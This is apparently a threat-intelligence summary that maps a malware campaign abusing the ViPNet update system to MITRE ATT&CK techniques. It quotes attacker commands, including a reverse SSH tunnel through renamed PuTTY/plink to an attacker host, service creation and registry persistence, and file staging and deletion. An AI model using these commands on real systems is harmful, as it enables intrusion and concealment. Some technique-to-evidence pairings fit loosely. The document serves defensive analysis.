HelloNet campaign — new malicious modules launched through the ViPNet update system

MITRE Techniques

• [T1574.001 ] DLL Search Order Hijacking – Used for persistence by placing wtsapi32.dll in the ViPNet update directory so it would be loaded by itcsrvup64.exe at startup (‘the attackers implement the DLL Sideloading technique’).
• [T1055 ] Process Injection – HelloInjector injected into svchost.exe using NtWriteVirtualMemory and NtCreateThreadEx (‘inject its code into the svchost.exe process’).
• [T1105 ] Ingress Tool Transfer – The loader accepted an executable from the command server and loaded it into memory (‘accepts an executable file from the command server’).
• [T1090 ] Proxy – HelloProxy forwarded traffic between sockets and also worked as a hidden proxy (‘creates new sockets and starts forwarding traffic between them’).
• [T1021.004 ] Remote Services: SSH – Attackers launched SSH tunnels with renamed PuTTY/plink binaries (‘frontpage.exe -C -N -R 8443:[redacted]:5003 [email protected][.]206’).
• [T1036 ] Masquerading – A legitimate PuTTY utility was renamed to frontpage.exe to conceal its use (‘a renamed executable file of the legitimate PuTTY utility’).
• [T1562.001 ] Impair Defenses: Disable or Modify Tools – HelloProxy intercepted socket-related functions to hinder security solutions (‘hinder security solutions operating in user mode for filtering network connections’).
• [T1049 ] System Network Connections Discovery – Reconnaissance included netstat and other network checks (‘ipconfig /all’, ‘ping 8.8.8.8 -n 1’).
• [T1016 ] System Network Configuration Discovery – The attackers collected network configuration with standard tools (‘ipconfig /all’).
• [T1018 ] Remote System Discovery – They used ping and network-related checks to identify reachable systems (‘ping 8.8.8.8 -n 1’).
• [T1082 ] System Information Discovery – HelloExecutor ran systeminfo-style environment discovery via standard commands (‘query user’, ‘dir’).
• [T1057 ] Process Discovery – Process enumeration was performed during reconnaissance (‘query user’).
• [T1007 ] System Service Discovery – The campaign used service-related commands to inspect services (‘net group /do’, service-related checks).
• [T1083 ] File and Directory Discovery – Numerous dir commands enumerated ViPNet and user directories (‘dir “C:Program Files (x86)”‘, ‘dir C:UsersPublicmusic’).
• [T1005 ] Data from Local System – HelloBackdoor supports file download/upload and reads local data (‘!upload’, ‘!down’).
• [T1074.001 ] Local Data Staging – Data was copied into public directories for later use (‘copy appdatainfotecs*APN000B.txt $publiclibraries’).
• [T1070.004 ] Indicator Removal: File Deletion – The attackers deleted files and logs to hide activity (‘del $publiclibrariesAPN000B.txt’).
• [T1543.003 ] Create or Modify System Process: Windows Service – The observed TTPs included service creation and modification (‘sc create AppMgmt …’).
• [T1112 ] Modify Registry – Registry keys were changed to set service DLL behavior (‘reg add HKLMSYSTEMCurrentControlSetServicesAppMgmtParameters’).
• [T1059.003 ] Windows Command Shell – Many commands were executed through cmd.exe (‘”cmd” /c systeminfo’).
• [T1218 ] Signed Binary Proxy Execution – AutoIt and other trusted binaries were used as proxy execution (‘autoit3.exe … data.dat’).
• [T1572 ] Protocol Tunneling – SSH port forwarding was used to tunnel traffic (‘-R 6443:[redacted] [email protected]’).